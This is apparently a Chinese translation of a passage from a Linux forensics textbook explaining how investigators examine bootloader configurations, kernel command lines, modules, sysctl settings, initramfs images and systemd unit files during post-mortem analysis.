GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX=""
...

/usr/bin/grub-mkconfig shell 脚本^(6) 包含了所有可以定义的变量(在脚本内部查找 GRUB_* 行)。GRUB_CMDLINE_* 变量很有意思,因为它们包含传递给内核的信息。其他变量由辅助脚本处理。在一些系统中,如 Fedora 和 SUSE,/etc/sysconfig/grub 可能会通过符号链接(symlink)指向 /etc/default/grub

生成的 grub.cfg 文件由多个部分组成,这些部分是从每个辅助脚本生成的。GRUB 有一种内置的脚本语言,用于解析更复杂的 grub.cfg 文件,并为用户提供详细的菜单和子菜单界面,以选择启动选项。以下是一个示例,展示了在示例 grub.cfg 文件中找到的菜单选项:

menuentry 'Arch Linux (on /dev/nvme0n1p3)'
submenu 'Advanced options for Arch Linux (on /dev/nvme0n1p3)
...
menuentry 'Linux Mint 20 Ulyana (20) (on /dev/nvme0n1p4)'
submenu 'Advanced options for Linux Mint 20 Ulyana (20) (on /dev/nvme0n1p4)'
...
menuentry 'System setup'
...

在法医检查过程中,menuentrysubmenu 行可能会揭示其他操作系统、过去版本的其他操作系统以及其他设置/诊断选项。对于每个菜单选项,传递给内核的参数都已定义,包括当前和过去的根 UUID 以及休眠镜像的位置(resume=)。这些在 Linux 法医检查中很有意义,因为它们提供了驱动器上操作系统安装活动的重建。

历史上,Linux 用户会在不同的操作系统之间双重启动,但现在在一个主机操作系统内部使用虚拟机变得越来越普遍。因此,并非所有已安装的操作系统都会被 GRUB 配置脚本检测到,也不会在 grub.cfg 文件中显示。

除了加载内核和 initramfs 二进制镜像(将在下一节中描述),GRUB 还可以加载 CPU 固件更新(来自同一目录),通常对于 Intel 为 ucode.img,对于 AMD 为 amd-ucode.img

在某些情况下,可能会找到 GRUB 密码。如果该密码仅用于在启动时控制访问,它不会影响我们在法医环境中获取镜像或分析系统的能力。以下示例(由 SUSE 脚本生成)展示了一个受密码保护的 grub.cfg 条目:

### BEGIN /etc/grub.d/42_password ###
# File created by YaST and next YaST run probably overwrite it
set superusers="root"
password_pbkdf2 root grub.pbkdf2.sha512.10000.0E73D41624AB768497C079CA5856E5334A
40A539FE3926A8830A2F604C78B9A1BD2C7E2C399E0F782D3FE7304E5C9C6798D49FBCC1E1A89EFE
881A46C04F2E.34ACCF04562ADDBD26781CA0B4DD9F3C75AE085B3F7937CFEA5FCC4928F10A382DF
7A285FD05CAEA283F33C1AA47AF0AFDF1BF5AA5E2CE87B0F9DF82778276F
export superusers
set unrestricted_menu="y"
export unrestricted_menu
### END /etc/grub.d/42_password ###

GRUB 的另一个功能是在启动加载过程中请求密码,以解锁 LUKS 加密的根文件系统(见 第三章 中的 LUKS 加密部分)。

你可以在在线手册中找到 grub.cfg 中使用的 GRUB 脚本语言、文件格式、设计细节以及更多内容(* www.gnu.org/software/grub/manual/grub/ *)。

其他引导加载程序

SYSLINUX 是一个设计用来从 DOS/Windows 文件系统引导的引导加载程序,它使新手 Linux 用户能够更容易地安装 Linux 或测试实时系统。它有时也用于引导 Linux 救援镜像。可以通过根目录中存在 LDLINUX.SYS 文件来识别 SYSLINUX 镜像。此外,syslinux.cfg 配置文件可能位于根目录(/)或 /boot//syslinux/ 子目录中。该文件决定了 SYSLINUX 的行为,并可能包含(使用 INCLUDE 配置参数)其他配置文件。这些文件包含信息,例如菜单选项、内核镜像和初始 ramdisk 的位置、内核命令行及其他定义的变量。

SYSLINUX 文件位于 FAT 文件系统上,可以使用常规的文件系统取证工具进行分析。在同一软件项目中,还有 ISOLINUX、EXTLINUX 和 PXELINUX 变体,分别用于从光盘、Linux 文件系统和网络引导(使用 DHCP 和 TFTP)进行启动。有关更多信息,请访问该项目的官方网站 (www.syslinux.org/).

systemd 开发者创建了一个替代的 UEFI 引导加载程序和管理器,名为 systemd-boot(前身为 Gummiboot),旨在提供一个简单的菜单系统、基本的配置文件和其他功能。systemd-boot 的一个特点是期望内核和初始 ramdisk 镜像位于 EFI 系统分区中。主板的 NVRAM 存储了一些与 systemd-boot 相关的 EFI 变量。UEFI 固件执行 systemd-bootx64.efi,这是一个 EFI 二进制文件,它查找默认配置文件 loader/loader.conf。有关多操作系统启动的进一步配置可以在 loader/entries/* 中找到(通常每个操作系统启动选项对应一个目录)。从数字取证的角度来看,整个引导过程和文件都包含在一个 FAT 文件系统中,可以使用常见的 FAT 文件系统取证工具来分析文件的时间戳和已删除文件的证据。有关更多信息,请参阅 systemd-boot(7) 手册和引导加载程序规范文档 (systemd.io/BOOT_LOADER_SPECIFICATION/).

无盘系统可以使用预启动执行环境(PXE)通过网络引导操作系统。在这里,主板固件向本地网络段发送 DHCP 请求,然后获取引导加载程序、内核和 initramfs。根文件系统随后通过 NFS 或其他网络文件共享协议进行挂载。网络启动的计算机可能仍然有本地驱动器用于缓存或交换,这些都可以进行分析。如果没有安装物理驱动器,所有取证证据(操作系统文件系统树、用户主目录等)将存储在 PXE 服务器上。

树莓派不使用 MBR、UEFI 或甚至 GRUB 进行启动,而是依赖于自己的一种多阶段启动过程。^(7) 启动加载程序的第一阶段是 ROM 中的代码,它加载第二阶段的 bootcode.bin 文件(该文件存储在树莓派 4 型号的 EEPROM 中)。第三阶段(start.elf)是一个二进制固件镜像,它查找并启动内核。潜在有趣的文物是 boot/ 目录下几个文件中的用户可配置设置。cmdline.txt 文件指定传递给内核的参数。settings.conf 文件指定用于在启动时配置树莓派的引导加载程序的参数。可能还存在一个包含 Wi-Fi 网络和密码的 wpa_supplicant.conf 文件。如果在第一次启动时存在 sshssh.txt 文件,systemd 单元(/lib/systemd/system/sshswitch.service)将启用 SSH 并删除该文件。有关这些信息,请参阅树莓派官方网站 (www.raspberrypi.org/documentation/)。

另外,值得一提的是 Linux 容器及其启动方式。由于容器是在运行中的 Linux 主机系统内启动的,并与主机共享相同的内核,因此它们不需要引导加载程序。可以使用容器管理器(如 LXC、systemd-nspawn 等)提供的命令,在容器中启动具有独立文件系统树的 Linux 系统。在此进行法医分析时,可能需要检查宿主系统和容器的文件树。

内核初始化分析

Linux 内核是模块化和可配置的。内核模块可以在编译时构建到内核中,也可以在启动或操作期间动态加载,或由用户手动加载。内核和模块的配置可以在启动时进行,加载模块时(modprobe),或由用户手动配置。本节中,我将描述如何识别已加载的模块以及内核的配置方式。

模块的加载和内核的配置状态在操作过程中动态变化,并且只有在机器运行时才可见。事后法医分析必须通过推导或推测来进行,因为我们无法观察到正在运行的内核(除非我们有内存镜像)。本节重点讨论启动时定义的模块和配置,并尝试查找操作过程中发生的其他变化的痕迹。

在法医分析中,了解内核的配置和已加载的模块帮助我们重建正在分析的机器的状态,这有助于回答各种问题并识别以下内容:

  • 加载的非默认内核模块

  • 防止加载的默认内核模块

  • 明确或更改的内核配置

  • 系统管理员明确手动做出的更改

  • 恶意行为者引入的变化

我们特别关注那些偏离发行版或已安装软件包默认设置的模块和配置。如果我们能够识别出非默认、显式或故意的活动,我们可以尝试找出这些变化发生的原因和方式。

内核命令行和运行时参数

内核只是一个程序,尽管它是一个独特且特殊的程序。像大多数程序一样,它可以通过参数启动,以提供一些初始配置。这些参数有时被称为内核命令行,由引导加载程序提供,并在启动时传递给内核。

内核命令行参数在启动时配置系统的多个部分,包括以下内容:

  • 核心内核参数

  • 内核内置模块的参数

  • 初始化系统参数(systemd pid 1

内核理解多个参数,这些参数允许它在执行时进行自我配置。内置的内核模块可以通过点号(.)分隔模块名称和模块参数来配置;例如,libata.allow_tpm=1。为可加载模块指定的参数可能由初始化进程的启动脚本和单元处理。内核无法理解的参数会传递给初始化系统,无论是作为命令参数还是环境变量。

在运行中的系统上,命令行位于/proc/cmdline;然而,对于死后调查,我们必须在持久存储中寻找证据。由于引导加载程序将命令行传递给内核,因此这些参数可能存储在引导加载程序配置中(我们在前面一节中已讨论)。

对于 GRUB 引导加载程序,内核命令参数通常可以在/boot/grub/grub.cfg文件中找到(某些发行版使用grub2目录)。查找以linux开头的行(可能有缩进),后面跟着内核镜像的路径。参数列在内核镜像文件名之后,如下所示:

linux /boot/vmlinuz-linux root=UUID=da292e26-3001-4961-86a4-ab79f38ed237
rw resume=UUID=327edf54-00e6-46fb-b08d-00250972d02a libata.allow_tpm=1
intel_iommu=on net.ifnames=0

在这个例子中,定义了根文件系统(root=UUID=...),定义了休眠分区(resume=UUID=...),配置了内置的libata模块参数(libata.allow_tpm=1),配置了核心内核参数(intel_iommu=on),并将网络配置传递给 systemd 初始化(net.ifnames=0)。

如前所述,grub.cfg文件通常是通过脚本生成的。这些脚本读取/etc/default/grub文件,以获取在GRUB_CMDLINE_*变量中定义的附加内核参数。对于 systemd-boot,内核参数定义在loader/entries/**文件中。在 Raspberry Pi 系统上,用户可配置的内核命令行存储在/boot/cmdline.txt*中(启动过程可能会在启动内核之前添加附加参数)。内核命令行(7)手册页面描述了由 systemd 初始化过程解释的附加参数。

内核命令行上可能有趣的法医证据包括:

  • 内核镜像的名称和位置

  • 根文件系统的位置(及可能的 UUID)(root=

  • 潜在的休眠内存转储的位置(resume=

  • 要加载的模块的配置(module.parameter=

  • 可能的替代 init^(8) 程序(init=

  • 其他指示使用某些硬件的内核配置

  • 可能的篡改或滥用迹象

理解内核命令行能让调查人员更全面地理解正在检查的 Linux 系统。有关命令列表和更多信息,请参见 bootparam(7) 手册页和 Linux 内核文档 (www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)。

内核模块

模块为内核提供功能,以管理文件系统、网络协议、硬件设备和其他内核子系统。模块可以在编译时静态构建到内核中,也可以动态添加到正在运行的内核中。

要列出静态编译到内核中的模块,我们可以查看安装的内核中的/lib/modules//modules.builtin*文件:

$ cat /lib/modules/5.7.7-arch1-1/modules.builtin
kernel/arch/x86/platform/intel/iosf_mbi.ko
kernel/kernel/configs.ko
kernel/mm/zswap.ko
...

因为这些模块在文件系统中是静态的,所以它们在事后取证分析中很容易识别和检查。可能还会安装多个内核,可以将它们相互比较,并与发行版的原始文件进行比较。

动态插入和移除的模块可以通过启动配置和可用日志来识别。要确定启动时加载的模块,可以检查多个地方的配置文件。

systemd 初始化过程提供了 systemd-modules-load .service 来在启动时加载内核模块。用户(或系统管理员)可以通过将配置文件放入 /etc/modules-load.d/.conf* 来显式加载模块。提供自己配置来显式加载模块的软件包可以在 /usr/lib/modules-load.d/.conf* 中找到。以下是一个加载 CUPS 打印系统模块的配置文件示例:

$ cat /etc/modules-load.d/cups-filters.conf
# Parallel printer driver modules loading for cups
# LOAD_LP_MODULE was 'yes' in /etc/default/cups
lp
ppdev
parport_pc

有关更多信息,请参见 systemd-modules-load(8) 和 modules-load.d(5) 手册页。

还有其他地方可以查找内核模块加载/卸载活动的证据。一些发行版(例如基于 Debian 的发行版)可能会有一个/etc/modules文件,里面包含了启动时需要加载的额外模块列表。可以通过搜索 shell 历史文件(包括 root 用户和可能使用 sudo 的非 root 用户)来查找包含命令的证据,例如modprobeinsmodrmmod,以识别用户插入或移除的模块。内核命令行可以在早期启动过程中(由 systemd 进行)用来加载模块。这些命令行选项是modules_load=<modulename>rd.modules_load=<modulename>;后者指的是初始 RAM 磁盘(rd)。

在内核中插入和移除模块可能会或可能不会生成日志条目。日志记录的多少取决于模块的开发者。例如,i2c_dev驱动程序在从内核中移除时不打印任何内容,插入时仅打印最少的信息。以下是 dmesg 中的日志条目:

[13343.511222] i2c /dev entries driver

如果生成内核模块日志信息(通过内核环形缓冲区),它通常会传递到 dmesg、syslog 或 systemd 日志中。有关检查内核消息的更多信息,请参见第五章。

在取证检查过程中,应检查这些模块配置文件和目录,查看是否有不寻常或无法解释的内核模块。特别是,应检查那些偏离发行版和软件包默认设置的模块。

内核参数

初始内核配置在系统启动时设置,随后根据系统需求动态重新配置。动态更改配置的一些示例可能包括添加、移除或修改硬件;更改网络设置;挂载文件系统等。甚至主机名也是在系统启动时设置的内核配置项。此处的取证分析涉及重建系统启动时的内核配置,并确定系统运行过程中发生的变化。特别是,我们关注偏离正常默认值的配置,可能是用户或恶意行为者所引入的。

还可以在运行时手动指定内核参数。在运行中的系统上,系统管理员可以使用sysctl命令读取和写入内核参数,或者通过将文本重定向到/从/proc/sys/目录中的适当伪文件进行操作。在事后取证调查中,我们可以在 shell 历史文件中或日志中搜索sysctl命令的痕迹,查看是否有sysctl命令与权限提升一起使用的证据。以下示例显示了一个非特权用户(Sam)使用 sysctl -w标志设置内核参数:

Dez 09 16:21:54 pc1 sudo[100924]: sam : TTY=pts/4 ; PWD=/ ; USER=root ;
COMMAND=/usr/bin/sysctl -w net.ipv6.conf.all.forwarding=1

该用户启用了 IPv6 数据包转发。如果一个组织只专注于管理 IPv4 安全性,那么这一行为可能是绕过网络控制或减少检测机会的恶意尝试。

内核参数还可以通过将其添加到配置文件中,在启动时进行设置。这些配置文件遵循典型的 Linux 惯例,配置文件位于/etc/目录下,附加配置文件则位于以下目录:

  • /etc/sysctl.conf

  • /etc/sysctl.d/.conf*

  • /usr/lib/sysctl.d/.conf*

系统管理员通常会修改sysctl.conf或在/etc/sysctl.d/目录中创建文件。需要内核配置的已安装软件包也可能将配置文件放在/usr/lib/sysctl.d/目录中。

在取证调查期间,应审核提供 sysctl 配置的文件和目录,以寻找不寻常或未解释的内核设置。通过将它们与原始文件进行比较,可以找到自定义修改和与发行版默认设置的偏差。文件的创建时间和最后修改时间可能是变更发生时间的潜在指标。手动内核设置更改可能为调查提供额外洞察(例如,变更可能指示在过去某个时点手动安装特定硬件设备)。

更多关于 sysctl 的信息,请参阅 sysctl(8)、sysctl.conf(5) 和 sysctl.d(5) 手册页面。

分析 initrd 和 initramfs

内核二进制可执行文件通常称为 vmlinuz^(9),通常位于 /boot/ 目录中。它也可能是指向带有版本信息的文件名的符号链接(例如 vmlinuz-5.4.0-21-generic)。通常还会找到一个称为 initrdinitramfs 的伴侣文件(有时带有 *.img 扩展名)。这些文件也可能是指向带有版本信息的文件名的符号链接(例如 initrd.img-5.4.0-21-genericinitramfs-5.4-x86_64.img)。

initrdinitramfs 文件解决了内核引导时的鸡和蛋问题。内核需要各种文件、实用工具和模块来挂载根文件系统,但这些项目位于尚未能够挂载的根文件系统上。为了解决这个问题,引导加载程序将临时的最小根文件系统加载到内存中,并将其作为 RAM 磁盘提供给内核。这称为初始 RAM 磁盘,有两种形式:initrd 和 initramfs(有关更多信息,请参阅 initrd(4) 手册页面)。初始化 RAM 磁盘文件是通过安装或更改/升级内核时由引导加载程序工具(如 mkinitramfs、mkinitcpio 或 dracut)运行脚本创建的。

内核运行内部初始化程序,该程序位于 initramfs 中(参数可以传递给内核命令行),并且初始设置开始。一些发行版使用 busybox^(10) 作为 initramfs 中的初始化程序。其他一些,通常基于 dracut^(11),使用 systemd 初始化。完成后,切换到主根文件系统并将执行权传递给主初始化系统以开始完整系统启动。

从取证的角度来看,初始 RAM 磁盘的内容可能包含有关系统和引导过程的有趣信息,例如以下内容:

  • 可能的文件时间戳(尽管一些系统将文件设置为 Unix 纪元,即 1970 年 1 月 1 日)

  • 可执行文件和内核模块列表

  • 配置文件(如 /etc/fstab

  • 脚本(启动、自定义等)

  • RAID 配置的信息

  • 加密文件系统的信息

  • Kiosk 和 IoT 设备的自定义启动

在涉及加密文件系统的情况下,初始 RAM 磁盘可能是唯一可以分析的未加密数据。可能还会包含解密过程和密钥位置的信息。

如果商业取证工具无法访问初始 RAM 磁盘文件的内容,调查员可以将文件复制到类似的 Linux 发行版中,使用 Linux 命令进行分析。

例如,使用lsinitcpio列出 Arch Linux initramfs文件的内容如下所示:

$ lsinitcpio -v initramfs-linux.img
lrwxrwxrwx   0 root   root        7 Jan 1 1970 bin -> usr/bin
-rw-r--r--   0 root   root     2515 Jan 1 1970 buildconfig
-rw-r--r--   0 root   root       82 Jan 1 1970 config
drwxr-xr-x   0 root   root        0 Jan 1 1970 dev/
drwxr-xr-x   0 root   root        0 Jan 1 1970 etc/
-rw-r--r--   0 root   root        0 Jan 1 1970 etc/fstab
-rw-r--r--   0 root   root        0 Jan 1 1970 etc/initrd-release
...

lsinitcpio命令还可以通过-a标志提供有用的分析摘要。

使用lsinitramfs列出 Debian initrd文件内容的输出如下所示:

$ lsinitramfs -l initrd.img-4.19.0-9-amd64
drwxr-xr-x   1 root   root        0 Jun 1 08:41 .
lrwxrwxrwx   1 root   root        7 Jun 1 08:41 bin -> usr/bin
drwxr-xr-x   1 root   root        0 Jun 1 08:41 conf
-rw-r--r--   1 root   root       16 Jun 1 08:41 conf/arch.conf
drwxr-xr-x   1 root   root        0 Jun 1 08:41 conf/conf.d
-rw-r--r--   1 root   root       49 May 2 2019 conf/conf.d/resume
-rw-r--r--   1 root   root     1269 Feb 6 2019 conf/initramfs.conf
drwxr-xr-x   1 root   root        0 Jun 1 08:41 etc
-rw-r--r--   1 root   root        0 Jun 1 08:41 etc/fstab
...

Fedora 和 SUSE 有一个类似的工具叫做lsinitrd,用来列出初始 RAM 磁盘文件的内容。

列出文件内容后,可能需要提取文件以进行进一步分析。一个简单的方法是使用unmkinitramfslsinitcpio工具将所有内容提取到一个单独的目录中,具体取决于 Linux 发行版。以下是在 Debian 系统上提取initrd文件的示例:

$ unmkinitramfs -v initrd.img-5.4.0-0.bpo.4-amd64 evidence/
...
bin
conf
conf/arch.conf
conf/conf.d
conf/initramfs.conf
conf/modules
cryptroot
cryptroot/crypttab
...
$ ls evidence/
bin   cryptroot/ init lib32 libx32 sbin     usr/
conf/ etc/       lib  lib64 run/   scripts/ var/

在 Arch 系统上,可以使用相同的lsinitcpio命令,但需要加上-x标志:

$ lsinitcpio -v -x initramfs-linux.img

在这些示例中,unmkinitramfslsinitcpio会将内容提取到当前目录,因此需要具有写权限。对于死后检查,被分析的文件可以复制到一个单独的分析系统中。

理论上,应该可以使用常规的商业取证工具分析这些文件,而不需要 Linux 系统。文件通常是使用 gzip 或 zstd 压缩的 CPIO 归档文件。文件可以先解压,然后像正常的 CPIO 归档(标准 Unix 格式,类似于 tar)一样处理。这两个示例通过将压缩程序(gunzipzstcat)的输出传递给cpio程序,列出initramfs的内容:

$ gunzip -c initramfs-linux.img | cpio -itv
$ zstdcat initramfs-linux.img | cpio -itv

移除cpio标志中的t标志会将内容提取到当前目录中。

启动加载程序也可以以类似于initrd文件的方式加载 CPU 微代码更新。这些也可能以 CPIO 文件的形式打包(但不压缩),并且可以使用cpio命令列出内容。以下是显示 Intel 和 AMD 处理器的两个示例:

$ cpio -itv < intel-ucode.img
drwxr-xr-x  2 root   root         0 Apr 27 14:00 kernel
drwxr-xr-x  2 root   root         0 Apr 27 14:00 kernel/x86
drwxr-xr-x  2 root   root         0 Apr 27 14:00 kernel/x86/microcode
drwxr-xr-x  2 root   root         0 Apr 27 14:00 kernel/x86/microcode/.enuineIntel
.align.0123456789abc
-rw-r--r--  1 root   root   3160064 Apr 27 14:00 kernel/x86/microcode/GenuineIntel.bin
6174 blocks
...
$ cpio -itv < amd-ucode.img
-rw-r--r--  0 root   root     30546 May 27 10:27 kernel/x86/microcode/AuthenticAMD.bin
61 blocks

这些文件中的时间戳可能不同。它们可以来自原始打包过程,也可以来自本地安装过程。

一些initramfs文件(例如 Red Hat)包含一个固件和 initramfs 的单一归档文件(彼此附加)。要提取第二个文件,可以使用skipcpio工具,该工具来自 dracut 软件包。

Raspberry Pi 的操作方式不同,不需要初始 RAM 磁盘。由于硬件是标准化的,Raspberry Pi 开发人员可以创建一个包含所有必要驱动程序的特定内核。

Systemd 分析

从数字取证的角度来看,我们希望了解系统在启动过程中做了什么,完全启动后的目标状态是什么样的,以及随着时间的推移发生了什么活动。特别是,我们要重建偏离默认发行版行为的配置和活动。这包括由系统管理员明确创建的配置、安装的软件包或可能的恶意进程或攻击者。

最常见的 Linux 初始化系统是 systemd。自 2010 年首次宣布以来,systemd 已被所有主要的 Linux 发行版采用,取代了传统的 Unix sysvinit 以及其他发行版特有的替代方案,如 Ubuntu 的 Upstart。Systemd 从根本上与传统的 Unix 和 Linux 初始化系统不同,其引入并非没有争议。

本节重点介绍 systemd 的系统初始化过程。在进行事后取证分析时,我们希望重建由系统运行时的 systemd 命令(例如 systemctl)提供的基本相同的信息,这可以通过检查文件系统上的 systemd 文件和目录来完成。

Systemd 的文档非常完备。systemd.index(7) 手册页列出了所有 systemd 手册页(超过 350 个)。对于不熟悉 Linux 的取证调查员来说,这些手册页是关于 systemd 最好且最权威的信息来源。

注意

警告:systemd 广泛使用符号链接。如果你在调查 Linux 机器上挂载了一个可疑的 Linux 文件系统,这些符号链接可能指向你自己的安装,而不是可疑驱动器。请确保在取证检查时,分析的是可疑文件系统中的正确文件。

Systemd 单元文件

Systemd 使用配置文件来初始化系统并管理服务。这是与传统的 Unix 和 Linux 初始化系统的根本变化,后者使用 shell 脚本来实现类似的目标。

Systemd 使用 单元 的概念来控制系统的启动或服务的运行。单元有相关的文本文件,称为 单元配置文件。单元文件内容组织成多个部分,每部分包含由系统管理员、软件包维护者或发行版供应商设置的指令或选项。单元文件不仅用于系统启动,还用于操作维护(启动、停止、重启、重载等)和系统关机。更多信息可以在 systemd(1) 和 bootup(7) 手册页中找到。

以下列表展示了 systemd 的 11 种不同单元类型,列出了它们控制的对象以及描述单元文件的手册页:

服务 程序或守护进程;systemd.service(5)

套接字 用于 IPC 和套接字;systemd.socket(5)

目标 单元组;systemd.target(5)

设备 用于内核设备;systemd.device(5)

挂载 文件系统挂载点;systemd.mount(5)

自动挂载 文件系统按需挂载;systemd.automount(5)

定时器 基于时间的单元激活;systemd.timer(5)

交换 交换分区或文件;systemd.swap(5)

路径 基于文件更改的单元激活;systemd.path(5)

切片 用于资源管理的单元分组;systemd.slice(5)

作用域 由进程父项分组的单元;systemd.scope(5)

单元文件是普通的文本文件,文件名描述单元类型,扩展名与类型匹配(例如 httpd.servicesyslog.socket)。单元文件还可能包含一个关联的 .d 目录,该目录包含 .conf 文件,用于提供额外的配置。

单元文件可以包含 [Unit][Install] 部分,这些部分包含描述单元基本行为并提供通用单元设置的选项(参见 systemd.unit(5) 手册页)。除 targetdevice 外,所有单元文件都有一个自命名的部分,包含特定于该单元类型的附加选项。例如,service 有一个 [Service] 部分,socket 有一个 [Socket],以此类推。servicesocketswapmount 单元有附加选项,指定路径、用户、组、权限以及与执行环境相关的其他选项(参见 systemd.exec(5) 手册页)。servicesocketswapmountscope 单元具有附加的终止选项,描述如何终止属于单元的进程(参见 systemd.kill(5) 手册页)。slicescopeservicesocketmountswap 单元具有附加的资源控制选项,指定 CPU 和内存使用、IP 网络访问控制、^(12) 和其他限制(参见 systemd.resource-control(5) 手册页)。所有可用的 systemd 选项、变量和指令(超过 5,000 个!)都列在 systemd.directives(7) 手册页中。在检查单元文件时,此索引应为您提供理解各个选项所需的文档。

以下示例是一个典型的服务单元文件。它是通过发行版提供的 xorg-xdm 包安装的,并提供图形化登录界面:

$ cat /usr/lib/systemd/system/xdm.service
[Unit]
Description=X-Window Display Manager
After=systemd-user-sessions.service

[Service]
ExecStart=/usr/bin/xdm -nodaemon
Type=notify
NotifyAccess=all

[Install]
Alias=display-manager.service

[Unit] 部分提供描述和依赖信息。[Service] 部分定义要运行的命令及其他选项,这些选项在 systemd.service(5) 手册页中有描述。[Install] 部分提供启用或禁用单元所需的信息。

systemd 可以作为 系统 实例(在初始化和系统操作期间)或 用户 实例(在用户登录会话期间)运行。用户可以创建和管理自己的 systemd 单元文件。具有特权访问权限的系统管理员可以管理 systemd 系统单元文件。在进行 Linux 系统取证检查时,您需要知道在哪里查找单元文件。这些文件会在多个常见位置创建并保存。

由发行版打包系统安装的单元文件位于/usr/lib/systemd/system/目录下(某些发行版可能使用/lib/systemd/system/)。由系统管理员安装的单元文件或在系统配置过程中创建的文件通常安装在/etc/systemd/system/目录下。系统管理员在/etc/systemd/system/目录中创建的文件优先于/usr/lib/systemd/system/目录中的文件。那些不是任何已安装包的一部分的单元文件很有意思,因为它们是由管理员显式添加的,或者是潜在恶意的特权进程添加的。

用户单元文件可以由发行版的打包系统、系统管理员或用户本人创建。发行版的用户单元文件位于/usr/lib/systemd/user/目录下,系统管理员的用户单元文件位于/etc/systemd/user/目录下。用户可以将自己的单元文件放置在其主目录的~/.config/systemd/user/中。用户单元文件在用户的登录会话期间使用。

从取证的角度来看,用户自己的单元文件很有趣,因为它们可能是由正在运行的程序创建的,或是手动显式创建的,或者是针对用户的恶意活动所创建的。查看 systemd.unit(5)的 man 页面,了解 systemd 搜索单元文件的完整位置列表。

如果单元文件为空(零字节)或符号链接到/dev/null,则被认为是屏蔽的,这意味着它不能被启动或启用。在运行的系统中,单元目录可以在/run/systemd/伪目录中找到;然而,它们仅存在于运行系统的内存中,因此在事后取证检查时将无法访问。

Systemd 初始化过程

当内核启动并挂载根文件系统后,它会寻找初始化程序(通常符号链接到/lib/systemd/systemd)来初始化系统的用户空间。当 systemd 启动时,它会读取/etc/systemd/system.conf文件来进行自我配置。此文件提供了多种选项来改变 systemd 的行为。以下是system.conf文件的一部分:

[Manager]
#LogLevel=info
#LogTarget=journal-or-kmsg
#LogColor=yes
#LogLocation=no
#LogTime=no
#DumpCore=yes
#ShowStatus=yes
#CrashChangeVT=no
#CrashShell=no
#CrashReboot=no
#CtrlAltDelBurstAction=reboot-force
...

默认文件列出了所有编译时的默认条目,但这些条目是被注释掉的(使用#)。系统管理员可以通过修改或添加条目来偏离这些默认设置。此文件配置日志记录、崩溃、各种限制、记账及其他设置。更多信息请参见 systemd-system.conf(5)的 man 页面。

当其他 systemd 守护进程启动(或重新加载)时,它们也会读取各种/etc/systemd/.conf*配置文件。以下是这些文件的一些示例,它们可以通过其 man 页面查看:

  • systemd-user.conf(5)

  • logind.conf(5)

  • journald.conf(5)

  • journal-remote.conf(5)

  • journal-upload.conf(5)

  • systemd-sleep.conf(5)

  • timesyncd.conf(5)

  • homed.conf(5)

  • coredump.conf(5)

  • resolved.conf(5)

systemd.syntax(7) 手册页将这些称为 守护进程配置文件,不应与单元文件混淆。通常,这些配置文件(包括 system.conf)还会列出默认选项,这些选项会被注释掉(以 # 开头)。在取证检查中,查看 *.conf 条目,若这些条目没有注释或被添加了内容,表示系统所有者已做出明确更改。

传统的 Unix 和 Linux 系统有 运行级别,系统可以启动到不同的操作状态(单用户、多用户等)。Systemd 有类似的概念,称为 目标。当定义的一组单元成功激活时,就达到了一个目标。目标的主要目的是管理依赖关系。

当 systemd 启动时,它会启动所有需要的单元,以实现默认目标状态。默认目标是 default.target 单元文件,通常是指向其他目标的符号链接,例如 graphical.targetmulti-user.target。Linux 系统中的一些常见目标状态包括:

rescue.target 单用户模式,供系统管理员使用,没有用户,最小化服务

sysinit.target basic.target 设置交换分区、本地挂载点、套接字、定时器等

multi-user.target 完全启动的系统,没有图形界面(典型的服务器配置)

graphical.target 完全启动的图形化系统

default.target 默认目标,通常是指向 multiuser 或 graphical 目标的符号链接

shutdown.target 清理地关闭系统

systemd 标准目标在 systemd.special(7) 和 bootup(7) 手册页中有描述。传统的 Unix 风格引导在 boot(7) 手册页中有说明。默认目标可以通过在内核命令行中显式提供另一个目标名称来覆盖(systemd.unit=)。

单元文件包含关于与其他单元文件或目标之间依赖关系的信息。这些信息在[Unit][Install]部分中定义。在启动过程中,[Unit]部分定义了依赖关系以及如果这些依赖项失败时,单元如何表现。以下列表显示了一些常见的依赖选项:

Wants= 该单元需要的其他单元(即使它们失败也继续)
Requires= 该单元所需的其他单元(如果它们失败则失败)
Requisite= 如果其他单元尚未激活,则失败
Before= 该单元必须在这些单元之前激活
After= 该单元必须在这些单元之后激活

Wants=Requires= 选项的替代方法是将单元文件或指向单元文件的符号链接放置在 *.wants/ 或 *.requires/ 目录中。

default.target 单元文件开始,可以向后追溯并根据 Requires=Wants= 配置项或 *.wants/ 和 *.requires/ 目录构建所有已启动单元文件的列表。这种方法需要进行详尽的手动检查,在某些调查中可能是必要的。如果你只想评估在正常情况下由系统管理员创建或启用的服务,可以分析 /etc/systemd/system/ 目录中是否存在单元文件(或指向单元文件的符号链接)。

单元文件的 [Install] 部分中的选项用于通过 systemctl 命令启用或禁用单元。systemd 在启动时不使用这一部分。[Install] 依赖项可以通过 WantedBy=RequiredBy= 选项来定义。

Systemd 服务和守护进程

守护进程(发音为 dee-men 或 day-mon)源自 Unix,描述了一个在后台运行的进程。Systemd 使用 *.service 单元文件来启动守护进程,该文件包含 [Service] 部分,用于配置守护进程的启动方式。守护进程还可以通过各种激活方式按需启动(在下一节中介绍)。服务守护进程 这两个词经常互换使用,但在 systemd 的上下文中,它们有一些区别。systemd 服务更加抽象,可以启动一个或多个守护进程,并且具有不同的服务类型。

注意

启动和停止服务与启用和禁用服务不同。如果服务是启用的,它将在启动时自动启动。如果禁用,它将在启动时不会启动。服务可以在系统运行时由系统管理员启动和停止,而不受启用/禁用状态的影响。被屏蔽的服务不能启动或启用。

systemd 下的守护进程与传统 Unix 守护进程有所不同,因为它们的终端输出(stdoutstderr)会被 systemd 日志捕获。有关 systemd 和传统守护进程的详细比较,请参见 www.freedesktop.org/software/systemd/man/daemon.html

这个示例单元文件(sshd.service)管理安全外壳守护进程:

[Unit]
Description=OpenSSH Daemon
Wants=sshdgenkeys.service
After=sshdgenkeys.service
After=network.target

[Service]
ExecStart=/usr/bin/sshd -D
ExecReload=/bin/kill -HUP $MAINPID

KillMode=process
Restart=always

[Install]
WantedBy=multi-user.target

该文件描述了如何启动、停止和重新加载守护进程,并指明何时启动它。

